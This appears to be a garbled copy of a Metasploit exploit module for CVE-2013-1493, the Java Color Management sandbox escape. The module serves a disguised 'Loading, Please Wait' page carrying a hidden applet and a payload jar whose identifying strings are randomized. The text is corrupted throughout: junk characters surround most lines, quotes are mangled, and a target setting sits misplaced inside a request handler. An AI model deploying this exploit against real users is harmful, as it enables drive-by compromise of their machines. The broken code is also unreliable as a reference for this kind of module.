##
& d+ l4 I% w4 ~ e) l
$ x: Y+ Z) r, [) z" @; ^# This file is part of the Metasploit Framework and may be subject to
) o- m* |) J' s ^3 a# redistribution and commercial restrictions. Please see the Metasploit) J. D: X( j- a. \. H. J8 |
# web site for more information on licensing and terms of use.
6 c% A, s B1 L; ^' U# http://metasploit.com/
6 u/ Q3 g) p* q: \##
! g% q7 |& t6 b7 T" p; {require ‘msf/core’8 ]" o3 @1 O& h0 W2 V# E
require ‘rex’
3 O/ Q( j/ ~# D% M, ?class Metasploit3 < Msf::Exploit::Remote* Q. F* k8 Q: I# L5 a, J" X: k. l
Rank = NormalRanking w1 D4 Z B b( q4 w: \
include Msf::Exploit::Remote::HttpServer::HTML. ]) X" O5 ]. w$ @5 {# r
include Msf::Exploit::EXE
% R( i# W; k0 Y: X# I; h, Linclude Msf::Exploit::Remote::BrowserAutopwn# B* c; j3 a; Q
autopwn_info({ :javascript => false })6 V* F, m9 s; Y7 U: K
def initialize( info = {} )
6 j% {1 [' B( C$ D1 x& B8 O8 F, wsuper( update_info( info,
' w3 C# w5 n( W‘Name’ => ‘Java CMM Remote Code Execution’,( Q r' x. s1 N1 Z! P
‘Description’ => %q{% W0 u x; g5 p" u, w
This module abuses the Color Management classes from a Java Applet to run1 q8 a1 g- G7 @" o" [
arbitrary Java code outside of the sandbox as exploited in the wild in February" U$ A: g! P+ T! K2 N* o
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
) [' t! H. n: ^3 cand earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1' J0 M* n5 J& n9 @
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
& V: o$ o) w' V7 x0 }3 R1 ewarning in order to run the malicious applet.
. ^8 M$ }# l, i1 ^},
7 o; @1 D' @: t3 Z‘License’ => MSF_LICENSE,- `1 _2 Q$ U: L; K* E& n5 h" a
‘Author’ =>0 \( m& x2 Y- C! [4 g
'Unknown', # Vulnerability discovery and Exploit
" E9 N! n- h% G7 C V* v'juan vazquez' # Metasploit module (just ported the published exploit)
7 d# G- o5 a. Q- j9 k: N3 d],% ^/ x$ c. \- L4 }' l, A, v
‘References’ =>
) G: C5 z( w9 L& L9 n; N[
& X* U: y( m% n[ 'CVE', '2013-1493' ],' _) f% C2 i) D2 ~7 k1 n% n
[ 'OSVDB', '90737' ],
! j3 \" d9 c# }+ Q @; k[ 'BID', '58238' ],3 t W0 Q; u' ]5 u; W
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],8 U/ q4 B: M% c N$ ]: v( w
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
" t" }0 [$ }' A1 i, n5 l[ 'URL', 'http://pastie.org/pastes/6581034' ]
% W9 j4 C4 I+ Z, p( u0 h7 T; E1 L],
! [0 v1 X& ]+ y/ J‘Platform’ => [ 'win', 'java' ],
+ I( g+ G: [* R) g0 e% [- n: U, I- L‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },5 o$ v) A: y ]) ]. m4 N h$ _. R# k
‘Targets’ =>
! X$ x3 H! Y' }; t$ ~2 o# }( |[
7 A! r% j! e3 j7 M8 X+ }* O[ 'Generic (Java Payload)',
2 e! `, g% y) u6 G% g. m7 ?+ j; t{) W* c [# I, {7 ?' ~
'Platform' => 'java',
& @# k: Y4 j( a+ W% M'Arch' => ARCH_JAVA, o" f/ U' H4 T7 m0 R! s
}
# W7 [5 T9 t/ U% B( T],
3 _( u; b- R3 w9 |2 C. }[ 'Windows x86 (Native Payload)',
$ a) z1 G4 p- |, k{: j" ?/ {2 u b @* y' x! s& F! {: o2 r
'Platform' => 'win',
1 z" G3 q ^0 P+ T& F'Arch' => ARCH_X86
+ p) r; @* B4 c/ k$ m. x; P' \* A' f}9 k8 Q* c; p: J. x6 h
]
/ P4 i) _# t, Y' y6 V" H2 B; c5 n],% d. a; J; V% {5 @9 ^. F' f9 n
‘‘DisclosureDate’ => ‘Mar 01 2013′. Y* k% k& m4 J6 F& @ N6 G8 A8 y
))
% i, ]# x3 L K! P6 Cend
$ n- ?$ v' c8 [ J/ R8 hdef setup
* U+ O8 p$ A9 D/ }$ ~; u+ ypath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)/ ?9 \0 h( m; X1 Z1 B
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }' r9 U. }& B9 C5 r4 z. }
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)- T* T: X# |: g' r1 r! E9 H
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
9 U {; f( X6 [! p% ?, d+ y, _path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”) P& x( _, \8 d( O, k3 v; B7 n. W; @
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
* a. C! j1 P8 L( w" R6 ^path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)4 Z* a( w: O K( }) ?9 k$ @
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
: u5 R% f" `0 T5 }; N3 t0 G@init_class_name = rand_text_alpha(“Init”.length)
# X! n) ?4 |6 R" j' r5 a@init_class.gsub!(“Init”, @init_class_name)
" n, V" q8 G9 r" Rsuper* X/ `' d# |$ P; R
end8 Q% q* k7 g, b
def on_request_uri(cli, request)1 ^0 o% a' U6 I4 ?" g4 K
print_status(“handling request for #{request.uri}”)
: q1 ?" p" c5 wcase request.uri
5 C% c) F2 S# _when /\.jar$/i: ^- d3 ? k% X) G
jar = payload.encoded_jar
0 n' z4 W# G& U+ d) @1 xjar.add_file(“#{@init_class_name}.class”, @init_class)
, P- g+ E) d* t; v: hjar.add_file(“Leak.class”, @leak_class)' i* h7 t* B" O7 r9 e' G0 Z$ I' c9 L
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
+ k/ B; z8 c/ f* @" f( \jar.add_file(“MyColorSpace.class”, @color_space_class)
) n" b, |* D/ W) g4 J/ CDefaultTarget’ => 1,
: b9 Q; g: X" c$ L; m! f( K" j! b$ hmetasploit_str = rand_text_alpha(“metasploit”.length)+ U( X8 R- M! y; }' t7 u, H7 d
payload_str = rand_text_alpha(“payload”.length)
X! ~. i {7 V2 wjar.entries.each { |entry|
# y* X* W& Y3 n8 kentry.name.gsub!(“metasploit”, metasploit_str)& C0 V0 ~6 s: d& L5 R2 C9 l
entry.name.gsub!(“Payload”, payload_str)) L1 H; s7 Z9 d
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
/ H1 z8 c5 O! i/ \, Ientry.data = entry.data.gsub(“Payload”, payload_str)& u8 I* l S5 ]. X, K" w
}
* i ^: X4 q. o, c# H M! c% fjar.build_manifest" h) U) C( s& j$ E' n+ d& A
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })6 b! v* S; G4 b: U
when /\/$/
! p' p( j( B; a+ ^% Z, ypayload = regenerate_payload(cli)
P/ O; I, M* S6 {' X3 tif not payload' }; c+ j9 ?5 Y9 c6 L3 A
print_error(“Failed to generate the payload.”)
$ p# l5 i3 b8 B z7 |. p8 t6 }send_not_found(cli)
6 G# \7 Q( e; g# {) {return
4 h7 y* l. @8 Y( D! ?end8 ^, ?* V5 d, g( x7 j! ]9 Z
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ }); K. O& j8 P$ p0 r. r" i% B2 X
else
5 K& D7 z+ |2 s" F! ^4 y [2 {) zsend_redirect(cli, get_resource() + ‘/’, ”)
1 W$ b# u+ k) c; k! cend
; G# D8 H1 U- e, V5 t, Pend
# x$ g0 s" H: g# o+ @- X! o$ T8 a3 ~def generate_html! M) n5 ~- R+ w0 y* E! h" M3 o
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
& o# n2 X$ L7 q. @html += %Q|<body><center><p>Loading, Please Wait…</p></center>|
# W6 M0 K- N3 ^- g: {9 xhtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|( ~. c5 n) h4 w" Q
html += %Q|</applet></body></html>|
) J/ f5 Y6 _! H# x1 P- r9 r/ n% Xreturn html
& C- {6 k" e9 @; oend
+ }" B$ S, u# X4 j0 D7 j' tend
& y1 t/ A) j$ C) y# aend
7 f: }' f1 J, ~. S- `+ h! I7 M |